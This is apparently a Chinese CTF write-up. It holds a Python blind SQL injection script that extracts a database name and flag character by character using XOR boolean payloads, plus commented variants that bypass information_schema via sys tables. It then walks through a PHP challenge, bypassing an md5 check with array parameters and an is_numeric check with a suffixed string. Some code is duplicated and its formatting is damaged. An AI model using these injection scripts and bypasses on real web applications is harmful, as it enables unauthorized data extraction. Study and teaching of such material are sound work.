for i inrange (10,12): for l inrange (32,127): time.sleep(0.2) payload = '1^(ascii(substr(database(),{},1))={})'.format(i,l) data = {'id': payload} re = requests.post(url,data) print("testing 数据库名称第:",i,"第个",chr(l),"字符") if'Error Occured When Fetch Result.'in re.text: name=name+chr(l) print("数据库名称:",name) break
# for i in range (1,l+1) : # for s in str: # payload = "1&&substr(database(),{},1)='{}'".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # database_name=database_name + s # print("第",i,"个字符: ",database_name) # break
# for l in range (1,1000): # time.sleep(0.05) # payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l) # data = {'id': payload} # re = requests.post(url,data) # print("表名长度:",l) # if 'Nu1L' in re.text: # print("全表名长度:",l) # break
# for i in range (1,l+1): # for s in str: # time.sleep(0.05) # payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # name=name + s # print("表名:",name) # break
# flag='' # for l in range (1,10000): # f='' # for s in range (32,127): # time.sleep(0.08) # f=flag + chr(s) # payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # flag=flag + chr(s-1) # print(flag.lower) # break
for le inrange (1,100): payload= '1^((length((select(flag)from(flag))))<{})'.format(le) data = {'id': payload} re = requests.post(url,data) print("测试flag长度中:",le) if'Error Occured When Fetch Result.'in re.text: print("flag长度为:",le) break
for i inrange (1,le+1): for l inrange (32,117): time.sleep(0.1) payload = '1^((ascii(substr((select(flag)from(flag)),{},1)))={})'.format(i,l) data = {'id': payload} re = requests.post(url,data) print("flag名称第:",i,"个字符",chr(l),' ',flag) if'Error Occured When Fetch Result.'in re.text: flag=flag+chr(l) print("flag:",flag) break
# for i in range (1,l+1) : # for s in str: # payload = "1&&substr(database(),{},1)='{}'".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # database_name=database_name + s # print("第",i,"个字符: ",database_name) # break
# for l in range (1,1000): # time.sleep(0.05) # payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l) # data = {'id': payload} # re = requests.post(url,data) # print("表名长度:",l) # if 'Nu1L' in re.text: # print("全表名长度:",l) # break
# for i in range (1,l+1): # for s in str: # time.sleep(0.05) # payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # name=name + s # print("表名:",name) # break
# flag='' # for l in range (1,10000): # f='' # for s in range (32,127): # time.sleep(0.08) # f=flag + chr(s) # payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f) # data = {'id': payload} # re = requests.post(url,data) # if 'Nu1L' in re.text: # flag=flag + chr(s-1) # print(flag.lower) # break
I put something in F12 for you include'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { //md5绕过,要求两个值不相等但是计算的md5相等, echo'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo"can you think twice??"; } } else{ echo'You can not get it !'; }
} else{ die('only one way to get the flag'); } } else { echo"You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
第一先试一下数组绕过:
1 2 3
?id[]=0&gg[]=1
You got the first steponly one way to get the flag
然后添加post数据:
1 2 3 4 5
?id[]=0&gg[]=1
passwd=1234567
You got the first stepYou can not get it !
要对is_numeric进行绕过,源码里的: if (!is_numeric($passwd)) 是不能是纯数字意思 那passwd=1234567aa, 拿到flag,